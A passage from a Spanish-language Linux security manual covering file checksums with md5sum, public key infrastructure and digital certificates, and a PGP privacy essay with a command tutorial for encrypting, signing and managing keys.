14. Si tenemos un hash de un archivo grabado en el directorio actual no tenemos porque comparar como hicimos anteriormente, Si sospechamos que el archivo ha cambiado solo tenemos que efectuar la siguiente prueba y el comnado md5sum con la opción -c nos dirá si ha cambiado o no. Para esta prueba nuevamente escribimos otra entrada en el archivo.txt que solo diga “A” y ejecutamos así::

[antonio@localhost md5-probar]$ md5sum -c archivo.md5
archivo.txt: FAILED
md5sum: WARNING: 1 of 1 computed checksum did NOT matc

Infraestructura de Llave Publica (PKI)

Los servicios PKI son repositorios para el manejo de llaves publicas, certificados y firmas. Ademas de autentificar la identidad de la entidad que posee un par dominante , PKI también provee la habilidad de revocar una clave si no es valida. Una clave se vuelve invalidad si, por ejemplo, una clave publica es crackeada o hecha publica. La meta principal de PKI es permitir que los certificados que sean generados y revocados tan rápido como sea posible. Las corporaciones están especialmente interesadas en la habilidad de establecer rápido, los métodos seguros de comunicación y PKI es una solución prometedora.

Estándares PKI

PKI esta basado en el estándar X.509, lo que significa estandarizar el formato de los certificados y como estos son accesados. Un estándar para PKI esta actualmente siendo desarrollado. Al momento de este escrito, el ultimo RFC incluía:

RFC 2510	Identifica las terminologías y protocolos usados en PKI.
RFC 2560	Provee una discusión del Online Certificate Status Protocol (OCSP), el cual habilita aplicaciones enteradas de Internet para determinar rápidamente lo valido de un certificado.
RFC 2585	Describe la arquitectura y protocolos usados en PKI.
RFC 2587	Explica como la versión 2 del Lightweight Directory Access Protocol (LDAP2) es usado para permitir acceso a servidores PKI.
RFC 2527	Un documento informativo explicando el propósito de PKI.

Terminología PKI

El PKI usa los siguientes elementos y términos:

• Certificado de Autoridad (CA)

Esta es la parte responsable por la edición de un certificado. Un CA puede delegar autenticación actual para un Autoridad de Registro (RA). Un Editor CA crea certificado para individuos (ej. entidades finales).

• Certificado CA
Este es un archivo que contiene varios campos para identificar un host o persona en particular. Un ejemplo de un campo es el campo sujeto en el cual la persona o el host es mencionado por el nombre.
• Entidad Final
Este es el usuario final listado en el campo sujeto.
• Declaración de Política del Certificado
Este es un documento publico conteniendo reglas y procedimientos aceptados sobre el CA y la entidad final. Este documento especifica la ruta de certificación y la tecnologia que habilita la autentificación.
• Ruta de Certificación
Esta es la historia detectable de las partes que han atestiguado para el certificado. Los certificados dependen altamente de la integridad de las partes que atestiguan por ellos. Si un problema existe en una ruta de certificación certificada, el certificado puede ser juzgado como invalido y debe de ser revocado.
• Autoridad de Registration (RA)
Esta es la parte responsable por verificar la identidad actual de una persona o host interesado en participar en un esquema PKI.
• Repositorio
Esta es una serie de redes distribuida que permiten acceso a los certificados.
• Certificados Digitales
Un certificado digital es una implementación especifica de una clave. Un número de compañías, llamadas CA, emite un certificado de autentificación y firma con sus firmas para indicar una validación de un programa. Una de esas compañías es VeriSign. VeriSign certifica son una clave publica de usuarios o sitios Web. La diferencia es que una clave publica ha sido verificada como perteneciente a una compañía o persona en particular. A continuación están los cuatros tipos de certificados:

• Certificado CA
Este es usado por CA para validar otro CA como un resultado confiable. Solo un poco de los CA automáticamente son confiables por los buscadores de Web.
• Servidor de Certificados
Este es usado para verificar un servidor Web de una compañía. Una compañía aplica para un servidor de certificado y enviar la petición de una de las varias CA. El CA verificara que la compañía es legitima, luego enviá un certificado digital a la compañía.
• Certificado Personal
Este es usado por los individuos, usualmente para encriptar email. El individuo contacta un CA hacer una petición de un certificado digital. La única verificación que el CA realiza es por dirección de email. El CA enviá el certificado a la dirección de email especificada por el individuo. En teoría, solo esa persona tendrá acceso a la cuenta de email, por lo tanto, ser el único que puede recuperarse y usar el certificado.
• Software o Editor Certificado
Este es usado para validar el código del software. Por ejemplo, si un usuario accesa un sitio Web que esta tratando de descargar un applet de Java o un control ActiveX, una advertencia de seguridad usualmente aparecen. El editor certificado es usado para validar el código para asegurarle al usuario que el código no contiene programación maliciosa.

Un servidor Web puede también actuar como su propio CA con SSL habilitado a un host para paginas sin editar un certificado desde un CA de tercera parte. Los certificados digitales son componentes claves en establecer transacciones seguras entre múltiples clientes así como las autoridades de certificación. Esta sección discutirá la creación de certificados digitales y su uso en el comercio electrónico y un sitio de seguridad.

¿Qué es un Certificado Digital?

Un certificado digital es un mecanismo de autentificación usado para alcanzar transacciones entre dos partes; esto debe ser visto como el equivalente digital de una tarjeta de identificación. Cuando dos partes desean conducir una transacción, es esencial que una confianza mutual existe entre ellos. Esta confianza puede ser alcanzada por las dos partes conociendo uno de otro o por cada parte confiando en una tercera parte conocida. Un certificado digital es nada pero una autorización de una tercera parte confiada tratando la integridad de cualquier parte.

Un certificado digital esta típicamente comprometido de la siguiente información:

- Detalles que identifican el sitio particular
- La clave publica para un sitio particular
- El periodo por el cual el certificado es valido
- Una firma digital validando el certificado
- Una lista de operaciones que pueden ser realizadas usando el certificado.

¿Qué es una Certificado de Autoridad?

La tercera parte confiada en la discusión anterior es mas a menudo referida como la Autoridad Certificada (CA). Las partes solicitantes presentan sus credenciales al CA, en la cual se verifican las credenciales de ambas partes, digitalmente firmara abarcando las entidades credenciales. La certificación de autoridad generara una combinación de claves publicas y privadas para la entidad. El uso de claves publicas y privadas sera discutido con mas detalle a continuación.

En un escenario real, el proceso de confianza no es tan simple. Mas a menudo, existen múltiples CA. Las partes solicitantes contactan la autoridad que tienen una prioridad de relación de confianza. Estas partes solicitantes pueden no tener una relación con un CA mutuo. Para ilustrarlo, considere entidades A y C y certificados de autoridad B y D. también asuma que A y B confían uno del otro y C tiene un certificado digital firmado por B; similarmente, C y D confían uno del otro, y C tiene un certificado digital firmado por D. Ahora nace un problema problema interesante, cuando A y C desean tener una transacción entre ellas. El C dice contacte a A y presente su certificado digital, pero A no tiene manera de verificar la integridad del certificado digital de C desde que no esta firmado por la tercera parte A. En tal escenario, un mecanismo es necesario por el que los certificados de autoridad confían uno del otro. Si B y D tienen una relación de confianza, el problema puede ser resuelto fácilmente.

Típicamente el CA define las políticas y pautas para lo siguiente:

- Verificando identidad
- Emisión de certificado
- Renovación de certificados
- Revocando certificados

Los siguientes son unos CA:

- CeriSign
- Netrust Digital Certificates
- Open Financial Exchange

¿Como trabajan los certificados digitales?

Cuando un certificado digital es instalado en un sitio, una combinación de claves privadas/publica es

generada. Este par de claves es única en eso, las claves son especificas del sitio y un mensaje que es encriptado usando la clave publica puede solo ser desencriptado usando que esas claves privadas especificas.

Este concepto es ampliamente referido como una clave publica criptográfica. Previamente, la mayoría de las comunicaciones fue hecha usando una clave sencilla de criptografía, pero es inseguro como la clave privada tendrá que ser compartida con las otras partes. En la clave publica criptográfica, la clave privada nunca deja el sitio; esta es la clave publica que es compartida. La clave publica puede ser publicada hasta editada en la Web.

Los siguientes pasos son implicados:

1. Cuando un sitio cliente contacta el sitio del servidor el certificado digital instalado, quizás usando un buscador Web que tiene SSL habilitado, el cliente se autoriza a usar los certificados digitales.
2. Después de validar el certificado del cliente, el servidor pasa su certificado.
3. El cliente, así, recibe la clave publica del servidor.
4. Luego el cliente genera una clave de sección basada en la clave publica del servidor que unicamente identifica la sección entre el cliente y el servidor.
5. La clave de sección típicamente tiene un tiempo de duración que es valido.
6. Cualquier comunicación entre el servidor y el cliente esta encriptado basado en la clave de sección.
7. El servidor puede desencriptar el mensaje usando su clave privada.
8. Esto establece una comunicación seguro entre sitios que tienen certificados digitales instalados.

Uso de los Certificados Digitales

Los certificados digitales son ampliamente empleados en comercio electrónico y sitios incorporados de seguridad. Las aplicaciones de comercio electrónico implican negocio y pago a través del Internet. Esto significaría que la información sensible como los detalles de los números de tarjeta de crédito de los usuarios y la información de la cuenta bancaria tiene que ser pasada a través del Internet. Sitios fraudulentos pueden imitar inseguridad y comprometer los sitios por adquisición de información sensible de los usuarios. En tales casos, los usuarios serán justificados esperando verificar la identidad de la entidad con la que ellos están conduciendo la transacción. Los certificados digitales prueban ser herramientas poderosas en hacer cumplir firmemente las medidas de seguridad actuando como un identidad digital para sitios particulares, verificando su integridad. Los certificados digitales ayudan a verificar si una entidad es quien dice que es.

Pretty Good Privacy (PGP)

Pretty Good(mr) Privacy (PGP), "Privacidad Suficientemente Buena", de Phil's Pretty Good Software, es una aplicación informática de criptografía de alta seguridad para MSDOS, UNiX, VAX/VMS y otros sistemas operativos. PGP permite intercambiar archivos y mensajes con privacidad, autenticación y comodidad. Por “Privacidad” se quiere decir que sólo podrán leer el mensaje aquellos a quienes va dirigido. Por “Autenticación” quiere dejar dicho que los mensajes que parecen ser de alguien sólo pueden venir de esa persona en particular. “Comodidad” queremos decir que la privacidad y la autenticación se consiguen sin los problemas de gestión de claves asociados a otros programas de criptografía convencional. No se necesitan canales seguros para intercambiar las claves entre los usuarios, por lo que PGP resulta mucho más fácil de utilizar. Esto se debe a que PGP está basado en una potente nueva tecnología llamada criptografía de “clave pública”.

PGP combina la comodidad del criptosistema de clave pública de Rivest-Shamir-Adleman (RSA) con la velocidad de la criptografía convencional, resúmenes de mensajes para firmas digitales, compresión de datos antes de encriptar, un buen diseño ergonómico y una completa gestión de claves. Por otra parte, PGP realiza las funciones de llave pública con más rápidez que la mayoría de las demás implementaciones informáticas. PGP es criptografía de clave pública para todos. PGP no lleva incorporada comunicación por módem. Para ello debe

utilizarse otro programa distinto.

¿Por qué se Necesita PGP?

Puedes estar planificando una campaña de comercialización de un producto o una campaña política de un candidato, hablando sobre el pago de tus impuestos o sosteniendo simplemente una aventura amorosa. Hasta puede ser que este practicando activismo social y comunicando algo que en tu opinión no debería ser ilegal, como la interpretación de la "pirater*ía*", pero que si lo es. Sea lo que fuere, no quieres que nadie más lea tu correos electrónicos privados ni tus documentos confidenciales. No hay nada malo en afirmar tu derecho a la privacidad. El derecho a la privacidad es tan básico como la Constitución.

Puede que pienses que tu email es lo bastante legítimo como para no necesitar encriptación. Si eres en realidad un ciudadano respetuoso de la ley, sin nada que ocultar, ¿por qué no envías siempre el correo habitual en postales sin sobres con el mensaje por fuera? ¿Por qué no te sometes voluntariamente a pruebas de detección de drogas? ¿Por qué exiges un mandamiento judicial para que la policía registre tu casa regularmente? ¿Estás intentando esconder algo? Probablemente eres un subversor, o un traficante de drogas, si ocultas el correo en sobres. O quizá un excéntrico paranoico. La simple respuesta es "Privacidad", aunque no participes en ninguna actividad ilícita los seres humanos requieren "Intimidad".

¿Tienen los Ciudadanos que Cumplen la Ley alguna Necesidad de Encriptar su E-mail?

¿Qué pasaría si todo el mundo creyese que los ciudadanos respetuosos de la ley deberían utilizar postales para enviar sus correos? Si algún espíritu valiente intentase afirmar su intimidad utilizando un sobre, levantaría sospechas. Las autoridades quizá abrirían su correo para ver qué está ocultando. Afortunadamente no vivimos en un mundo así y la mayor parte del correo se protege con sobres. Nadie levanta sospechas por afirmar su derecho a la intimidad con un simple sobre. Internet provee un sentido de seguridad basada en los grandes números de usuarios y redes disponibles que parecería casi imposible que uno fuese el blanco de ataque. Sería interesante que todo el mundo utilizase habitualmente el cifrado en su emails, fuese inocente o no, para que nadie levantase sospechas por afirmar de esa manera su derecho a la intimidad. Piénsalo como una forma de solidaridad hacia el derecho a la intimidad de los otros.

Hoy en día, si el gobierno quiere invadir la privacidad de sus ciudadanos común y corriente tiene que emplear cierta cantidad de esfuerzo, dinero y tiempo en interceptar y abrir al vapor el correo normal, o en escuchar conversaciones de celulares y teléfonos fijos, y quizá tener que transcribir, las conversaciones telefónicas. Este tipo de control, muy laborioso, no resulta práctico si se quiere llevar a gran escala, digamos toda la población hasta de una sola provincia. Sólo se realiza en casos importantes, donde parece que va a merecer la pena.

Cada día la mayor parte de nuestra comunicación privada se dirige por canales electrónicos. El correo electrónico reemplazó totalmente el correo convencional, cual solo es usado para el envío de paquetes. Los mensajes por email son demasiado fáciles de interceptar y de explorar para buscar palabras interesantes. Lo importante es que hacer esto a gran escala, es extremadamente fácilmente, peor aún se puede automatizar y llevar a cabo de una forma imposible de detectar. Existe sospecha bien fundada que la NSA explora ya de esta manera los cablegramas internacionales.

Nos dirigimos hacia un futuro en el que los países estarán cruzados de lado a lado por redes de datos basadas en fibra óptica de alta capacidad y otros medios de alta velocidad, que conectarán todos nuestros computadores personales cada vez más ubicuos. El E-mail será la norma para todos, no la novedad que resulta hoy en día por el alto numero de personas desconectadas sin acceso a Internet que existe aún. Puede que los gobiernos locales protejan nuestro emails con algoritmos de cifrado diseñados por ellos mismos. Y puede que la mayoría de la

población esté de acuerdo. Pero algunos preferirán tomar sus propias medidas de protección.

La propuesta de ley 266 del año 1999 del Senado de los Estados Unidos, una propuesta conjunta contra el delito electrónico, tenía oculta una medida inquietante. Si esta resolución no vinculante hubiese llegado a ser ley, habría obligado a los fabricantes de equipos de comunicaciones seguras a incluir “puertas traseras” en sus productos para que el Gobierno pudiese leer cualquier mensaje cifrado. {Su traducción al castellano} es la siguiente: “Es la opinión del Congreso que los proveedores de servicios de comunicación electrónica y los fabricantes de equipos para servicios de comunicación electrónica deben garantizar que los sistemas de comunicación permitan al Gobierno obtener el contenido original de las comunicaciones de voz, datos y otras comunicaciones, cuando esté adecuadamente autorizado por la ley”. Esta medida fue desestimada tras una rigurosa protesta por parte de defensores de la libertad civil y de grupos empresariales.

En 1992, la propuesta del FBI sobre intervención de telefonía digital se presentó en el Congreso norteamericano. Obligaría a todos los fabricantes de equipos de comunicaciones a integrar unos puertos especiales para la intervención a distancia, que permitiría al FBI intervenir todo tipo de comunicación electrónica desde sus oficinas. Aunque no consiguió ningún apoyo en el Congreso gracias a la oposición ciudadana, volvió a presentarse en 1994.

Lo más alarmante es la nueva y enérgica iniciativa de la Casa Blanca sobre política criptográfica, desarrollada en la NSA desde el inicio de la administración Bush y presentada el 16 de Abril de 1993. La parte central de esta iniciativa es un dispositivo criptográfico construido por el Gobierno, llamado el “Chip Clipper”, que contiene un nuevo algoritmo criptográfico secreto de la NSA. El Gobierno anima a las empresas privadas a que lo incluyan en todos sus productos de comunicaciones seguras, como teléfonos, fax, etc. AT& T está instalando Clipper en todos sus productos seguros para voz. La trampa: en la fábrica, cada Chip Clipper se carga con su propia clave única y el Gobierno mantiene una copia en depósito. Pero no hay que preocuparse-- el Gobierno promete que sólo utilizará esas claves para leer las comunicaciones cuando esté autorizado por la ley. Naturalmente, para que Clipper sea efectivo, el siguiente paso lógico sería proscribir otras formas de criptografía.

Si la intimidad se proscribe, sólo los proscritos tendrán intimidad. Los servicios de inteligencia tienen acceso a tecnología criptográfica de calidad. Lo mismo ocurre con los grandes traficantes de armas y los narcotraficantes. También disponen de ellos los contratistas del ejército, las compañías de petróleo y otros gigantes empresariales. Pero la mayoría de la gente normal y corriente y de las organizaciones políticas de base no han tenido nunca a su alcance a una tecnología asequible para utilizar criptología de clave pública de “grado militar”. Hasta ahora. PGP ofrece a la gente la capacidad de tener su privacidad en sus propias manos.

¿Cómo funciona?

Sería de ayuda que estuvieses familiarizado con el concepto de criptografía en general y con el de criptografía de clave pública en particular. En cualquier caso, he aquí unas cuantas observaciones como introducción.

En primer lugar, algo de vocabulario básico. Supongamos que yo quiero enviarle un mensaje que nadie excepto usted pueda leer. Podría “encriptar” o “cifrar” el mensaje, lo que significa revolverlo de una forma tremendamente complicada, con el fin de que resulte ilegible para cualquiera otra persona que no sea usted, el destinatario original del mensaje. Yo elijo una “clave” criptográfica para encriptar el mensaje y usted tiene que utilizar esta misma clave para descifrarlo o “desencriptarlo”. Por lo menos así funciona en los criptosistemas convencionales de “clave única”.

En los criptosistemas convencionales, como el US Federal Data Encryption Standard (DES) [Norma federal para cifrado de datos en EE.UU.], se utiliza una sola clave para encriptar y desencriptar. Por lo tanto, hay que transmitir primero la clave por medio de un canal seguro para que ambas partes la conozcan antes de enviar mensajes cifrados por canales inseguros. Este proceso puede resultar incómodo. Si se tiene un canal seguro para intercambiar claves, entonces ¿para qué se necesita criptografía?

En criptosistemas de clave pública, todo el mundo tiene dos claves complementarias, una revelada públicamente y otra secreta (llamada también clave privada). Cada clave abre el código que produce la otra. Saber la clave pública no sirve para deducir la clave secreta correspondiente. La clave pública puede publicarse y distribuirse ampliamente por una red de comunicaciones. Este protocolo proporciona privacidad sin necesidad de ese canal seguro que requieren los criptosistemas convencionales.

Cualquiera puede utilizar la clave pública de un destinatario para encriptar un mensaje y él empleará su clave secreta correspondiente para desencriptarlo. Sólo él podrá hacerlo, porque nadie más tiene acceso a esa clave secreta. Ni siquiera la persona que lo encriptó podría descifrarlo.

También proporciona autenticación para mensajes. La clave secreta del remitente puede emplearse para encriptar un mensaje, “firmándolo”. Se genera una firma digital, que el destinatario (o cualquier otra persona) puede comprobar al descifrarla con la clave pública del remitente. De esta forma se prueba el verdadero origen del mensaje y que no ha sido alterado por nadie, ya que sólo el remitente posee la clave secreta que ha producido esa firma. No es posible falsificar un mensaje firmado y el remitente no podrá desautorizar su firma más adelante.

Estos dos procesos pueden combinarse para obtener privacidad y autenticación al mismo tiempo si se firma primero el mensaje con la clave secreta y se encripta después el mensaje firmado con la clave pública del destinatario. El destinatario sigue estos pasos en sentido contrario al desencriptar primero el mensaje con su propia clave secreta y comprobar después la firma con la clave pública del remitente. El programa lo hace automáticamente.

Como el algoritmo de cifrado en clave pública es mucho más lento que el cifrado convencional de clave única, el proceso resulta más eficaz con un algoritmo convencional rápido de alta calidad, de clave única, para encriptar el mensaje. El mensaje original sin encriptar se denomina “texto plano”. Sin la intervención del usuario se utiliza una clave aleatoria temporal, generada sólo para esa “sesión”, para encriptar convencionalmente el archivo normal. Después se encripta esa clave aleatoria convencional con la clave pública del destinatario. La clave de la “sesión” convencional, encriptada con esa clave pública, se envía al destinatario junto al texto cifrado. El destinatario recupera esa clave temporal con su propia clave secreta y ejecuta con ella el algoritmo convencional de clave única, más rápido, para desencriptar el mensaje cifrado.

Las claves públicas se guardan en “certificados de clave” individuales que incluyen el identificador de usuario del propietario (el nombre de esa persona [y algún dato único, como la dirección de E-mail]), un sello de hora del momento en el que se generó el par y el material propio de la clave. Cada clave secreta está encriptada con su propia contraseña, por si alguien roba la clave. Cada archivo (“anillo”) de claves contiene uno o más de esos certificados.

Las claves se identifican internamente mediante un “identificador de clave”, que es una “abreviatura” de la clave pública (sus 64 bits menos significativos). Cuando se muestra este identificador, sólo aparecen los 32 bits inferiores para mayor brevedad. Aunque muchas claves pueden compartir el mismo identificador de usuario, a efectos prácticos no hay dos claves que compartan el mismo identificador de clave.

PGP utiliza “resúmenes de mensaje” para elaborar las firmas. Un resumen de mensaje es una función “distribución” (“hash”) unidireccional de 128 bits, criptográficamente resistente, de ese mensaje. Es análogo a una “suma de verificación” o código CRC de comprobación de errores: “representa” el mensaje de forma compacta y se utiliza para detectar cambios en él. A diferencia de un CRC, sin embargo, resulta computacionalmente impracticable para un atacante idear un mensaje sustitutivo que produzca un resumen idéntico. El resumen del mensaje se encripta con la clave secreta para elaborar la firma. Los documentos se firman añadiéndoles como prefijo un certificado de firma, junto con el identificador de la clave que se utilizó para realizarla, un resumen de mensaje del documento (firmado con la clave secreta) y un sello de hora del momento de la firma. El destinatario utiliza el identificador de la clave para buscar la clave pública del remitente y comprobar la firma. El programa busca automáticamente la clave pública y el identificador de usuario en el archivo de claves correspondiente.

Los archivos cifrados llevan como prefijo el identificador de la clave pública con la que se han encriptado. El destinatario utiliza este prefijo de identificación para encontrar la clave secreta y poder desencriptar el mensaje. Su programa busca automáticamente la clave secreta en el archivo de claves correspondiente. Estos dos tipos de archivo constituyen el método principal para almacenar y gestionar las claves públicas y secretas. En lugar de mantener las claves individuales en archivo separados, se reúnen en anillos para facilitar la búsqueda automática, ya sea por identificador de clave o por identificador de usuario. Cada usuario mantiene su propio par de anillos. Las claves públicas individuales se guardan en archivos aparte durante el tiempo necesario para enviarlas a algún amigo, que las añadirá entonces a su propio anillo de claves.

¿Cómo utilizar PGP?

Encriptación de un mensaje

A) Para encriptar un archivo de texto plano con la clave pública del destinatario, escriba:

$ pgp -e archivo.txt su_identificador

B) Esta orden produce un texto cifrado llamado archivo.pgp. Un ejemplo podría ser:

$ pgp -e carta.txt Antonio $ pgp -e carta.txt “Antonio P”

El primer ejemplo busca en el archivo de claves públicas “pubring.pgp” algún certificado que contenga la cadena de caracteres “Antonio” el cual es el identificador de usuario. El segundo ejemplo encontrará cualquier identificador que contenga “Antonio P". No se pueden incluir espacios en la cadena dentro de la línea de órdenes si no es entre comillas. La búsqueda no tiene en cuenta el tipo de letra (mayúsculas o minúsculas). Si se encuentra una clave pública que coincide, PGP la utiliza para encriptar el archivo normal “carta.txt” y produce un archivo cifrado llamado “carta.txt.pgp".

PGP intenta comprimir el texto plano antes de encriptarlo, lo que mejora considerablemente su resistencia al criptoanálisis. Por esta razón, el archivo cifrado será probablemente menor que el archivo normal. Si quieres enviar el mensaje cifrado por canales de E-mail, conviértelo al formato ASCII imprimible “radix-64” añadiendo la opción -a, tal como mostraremos más adelante.

Encriptación de un Mensaje para Múltiples Destinatarios

Si quieres enviar el mismo mensaje a más de una persona, puede encriptarlo para varios destinatarios, cualquiera de los cuales podrá desencriptar el mismo archivo. Para indicar múltiples destinatarios sólo tienes que añadir más identificadores en la línea de órdenes, tal como se muestra a continuación:

$ pgp -e carta.txt Miguel Ivelis Alexander Jazmine Desiree Michael

Así se crea un archivo cifrado llamado carta.txt.pgp que podría desencriptar por Michael, Jazmine, etc.

Puede indicarse cualquier número de destinatarios.

Firma de un Mensaje

Para firmar un archivo normal con su clave secreta, escriba:

$ pgp -s carta [-u tu_identificador] Nota: Los [corchetes] indican un campo opcional, no deben escribirse.

Esta orden produce un archivo firmado llamado carta.txt.pgp. Un ejemplo podría ser:

$ pgp -s carta.txt -u Ivelis

Esta orden busca en su archivo de claves secretas "secring.pgp" cualquier certificado que contenga la cadena "Ivelis" en el identificador de usuario. Se llama Ivelis, ¿no? La búsqueda no toma en cuenta las mayúsculas o minúsculas. Si se encuentra una clave secreta que coincide, PGP la utiliza para firmar el archivo plano "carta.txt" y produce un archivo firmado llamado "carta.txt.pgp".

Si no se incluye el campo de identificador de usuario, se firma con la clave más reciente del anillo de claves secretas como elección por omisión.

PGP intenta comprimir el mensaje después de firmarlo. Por eso el archivo firmado será probablemente menor que el original, lo que puede resultar conveniente para archivar. Sin embargo, este proceso hace que el archivo no sea legible normalmente aunque el mensaje original tuviera solo texto ASCII. Estaría bien dejar un archivo que fuera todavía legible directamente. Sería particularmente útil para enviar un mensaje firmado por E-mail.

Para firmar mensajes electrónicos en los que quiera dejar el resultado legible, es más conveniente utilizar CLEARSIG, que se explica más adelante. La firmas se aplica en un formato imprimible al final del texto y se desactiva la compresión. Así el texto permanece legible aunque no se compruebe la firma. Todo esto se explica con detalle en la sección "CLEARSIG - Activar mensajes firmados encapsulados como texto plano" en la sección de Temas Especiales. Si no desea esperar a llegar a esta sección, puedes ver cómo queda un mensaje electrónico firmado así con el siguiente ejemplo:

$ pgp -sta carta.txt

Se genera un mensaje firmado en el archivo "carta.txt.asc", formado por el texto original, todavía legible, y una firma ASCII imprimible añadida, todo preparado para enviar por E-mail. Este ejemplo supone que estás utilizando las opciones normales de activación de CLEARSIG en el archivo de configuración.

Firma y Posterior Encriptación

Para firmar un archivo normal con tu clave secreta y después encriptarlo con la clave pública del destinatario:

$ pgp -es carta su_identificador [-u su_identificador] Nota: [corchetes] campo opcional, no deben escribirse.

Este ejemplo se produce un archivo cifrado anidado, llamado carta.pgp. La clave secreta para firmar se busca automáticamente en el anillo correspondiente por medio de su_identificador. Si no incluyes el identificador de usuario del destinatario, se pedirá que lo introduzcas interactivamente.

Si no indicas tu propio identificador de usuario, se utiliza la clave más reciente del anillo de claves secretas como elección por omisión para la firma. Debe tener en cuenta que PGP intentará comprimir el texto normal antes de encriptarlo.

Si quieres enviar este mensaje cifrado por medio de canales de E-mail, conviértelo al formato ASCII

imprimible “radix-64” añadiendo la opción -a, tal como se describe más adelante. Pueden indicarse múltiples destinatarios añadiendo más identificadores en la línea de comandos.

Utilización de Encriptación Convencional Exclusivamente

Algunas veces sólo se necesita encriptar un archivo al estilo antiguo, con criptografía convencional de clave única. Este sistema resulta conveniente para proteger aquellos archivos que vayan a guardarse y no se van a enviar a nadie. Dado que la misma persona que va a desencriptar el archivo lo ha encriptado, no se necesita realmente criptografía de clave pública.

Para encriptar un archivo normal sólo con criptografía convencional, escribe:

$ pgp -c carta

Este ejemplo encripta el archivo normal llamado carta y produce un archivo cifrado carta.pgp, sin criptografía de clave pública, anillos de claves, identificadores de usuario ni nada por el estilo. Pedirá una contraseña como clave convencional para encriptar el archivo. Esta contraseña no tiene por qué ser (de hecho, NO DEBERIA ser) la misma que utilizas para proteger tu propia clave secreta. PGP intentará comprimir el archivo antes de encriptarlo. PGP nunca encripta el mismo texto normal dos veces de la misma forma, incluso con la misma contraseña.

Desencriptación y Comprobación de Firmas

Para desencriptar un archivo cifrado o para comprobar la integridad de un archivo firmado:

$ pgp carta-cifrada [-o carta-normal]

Por omisión se asume que el nombre del archivo cifrado tiene una extensión “.pgp”. El nombre opcional de salida para el texto en claro indica dónde hay que poner el texto procesado. Si no se indica ningún nombre, se utiliza el mismo del archivo cifrado sin extensión. Si se anida una firma dentro de un archivo cifrado, se desencripta automáticamente y se comprueba su integridad. Se mostrará el identificador completo del firmante.

Nótese que el "desembalaje" del archivo cifrado es completamente automático, sin importar si está firmado, cifrado o ambas cosas. PGP utiliza el prefijo del identificador de clave en el archivo cifrado para encontrar automáticamente la clave secreta en el anillo. Si hay una firma anidada, PGP usa el prefijo de identificador de esa clave para encontrar automáticamente la clave pública en el anillo correspondiente y comprobarla. Si las claves necesarias están en los anillos de claves no se requiere más intervención, excepto para dar la contraseña de la clave secreta, en su caso. Si el archivo había sido encriptado sin criptografía de clave pública, PGP lo reconoce y pide la contraseña para desencriptarlo convencionalmente.

Generación de Claves RSA

Para generar tu propio par único de claves pública/secreta de un tamaño determinado, escribe:

$ pgp -kg

PGP te mostrará un menú de tamaños recomendados para la clave (nivel comercial bajo, nivel comercial alto y nivel "militar") y te pedirá qué indiques qué tamaño de clave quieres, hasta 2048 bits. Cuanto más grande es la clave mayor es la seguridad que se obtiene, pero el precio es una disminución de la velocidad.

También se pide un identificador de usuario, esto es, tu nombre. Resulta conveniente poner como identificador un nombre completo, porque así hay menor probabilidad de que otros elijan una clave pública equivocada para encriptar los mensajes dirigidos a ti. En el identificador de usuario se permiten espacios y signos de puntuación. También conviene poner una dirección de correo-E entre < ángulos> después del nombre, como en este ejemplo:

Antonio Perpinan < aperpinan@codigolibre.org>

Si no tienes dirección de correo-E, pon tu número de teléfono u otra información que ayude a garantizar la unicidad de tu identificador.

PGP también pedirá una "contraseña" para proteger tu clave secreta en caso de que caiga en otras manos. Nadie podrá utilizar tu clave secreta sin ella. La contraseña puede ser una expresión o frase con varias palabras, espacios, signos de puntuación o cualquier cosa que quieras poner. No la pierdas, porque no hay forma de recuperarla. La contraseña te hará falta más adelante, cada vez que utilices tu clave secreta. Se tiene en cuenta el tipo de letra (mayúscula o minúscula) y no debe ser demasiado corta ni fácil de adivinar. Nunca aparece en la pantalla. No la dejes escrita donde alguien pueda verla, ni la guardes en el computador. Si no quieres poner contraseña (¡no seas tonto!), simplemente pulsa retorno (Enter) en el indicador correspondiente.

El par de claves pública/secreta se deriva de grandes números verdaderamente aleatorios obtenidos al medir intervalos de tiempo entre pulsaciones de tecla con un temporizador rápido. El programa te pedirá que introduzcas un texto al azar para poder acumular algunos bits aleatorios para las claves. Cuando se te pida, debes pulsar algunas teclas razonablemente al azar; no vendría mal que también el contenido fuera irregular. Parte de la aleatoriedad se deriva de la impredictibilidad del contenido de lo que escribes. Por lo tanto, no escribas secuencias repetidas de caracteres.

Ten en cuenta que la generación de claves RSA es un proceso largo. Puede llevar unos segundos para una clave pequeña en un procesador rápido o varios minutos para una clave larga en un viejo IBM PC/XT. PGP indica visualmente el desarrollo de la generación de claves.

El par de claves generado se colocará en tus anillos de claves públicas y secretas. Puedes utilizar más adelante la orden -kx para extraer (copiar) tu nueva clave pública desde el anillo correspondiente y ponerla en un archivo de clave separado, listo para distribuir entre tus amigos. Podrás enviar este archivo para que lo incluyan en sus anillos de claves públicas. Naturalmente, la clave secreta es para ti y debe incluirse en el archivo de claves secretas. Cada clave secreta está protegida individualmente por su propia contraseña.

Nunca des a nadie tu clave secreta. Por la misma razón, no hagas pares de claves para tus amigos. Cada uno debe hacer el suyo. Mantén siempre control físico sobre tu clave secreta y no te arriesgues a exponerla guardándola en un computador remoto compartido. Consérvela en su propio computador personal.

Si PGP se queja de no poder encontrar la Guía de usuario en el computador y se niega a generar un par de claves sin él, no te preocupes. Lee la explicación del parámetro NOMANUAL en la sección "Establecimiento de los parámetros de configuración" en el volumen Temas especiales de la Guía del usuario.

Adición de una Clave al Anillo

A veces querrás añadir a tu anillo la clave que te ha dado alguien en forma de archivo de claves. Para añadir el contenido de un archivo de claves públicas o secretas al anillo de claves correspondiente (nótese que los [corchetes] indican un campo opcional):

$ pgp -ka fdclaves [anillo]

La extensión por omisión del archivo es ".pgp". El nombre opcional del anillo es, por omisión, "pubring.pgp" o "secring.pgp", según se refiera a claves públicas o secretas. Puedes indicar un nombre diferente para el archivo y también su extensión por omisión será ".pgp".

Si la clave ya está en el anillo, PGP no la añade otra vez. Se incluyen todas las claves del archivo excepto las duplicadas.

Más adelante se explica el concepto de certificación de claves por medio de firmas. Si la clave para añadir

incluye firmas, se incorporan junto con ella. Si ya se encontraba en el anillo, PGP solamente añadirá las firmas que no estuviesen.

PGP se diseño originalmente para trabajar con anillos personales pequeños. Si quieres utilizar grandes anillos, consulta la sección “Gestión de grandes anillos de claves públicas” en el volumen sobre Temas especiales.

Supresión de una Clave del Anillo

Para suprimir una clave del anillo de claves públicas:

$ pgp -kr identificador [anillo]

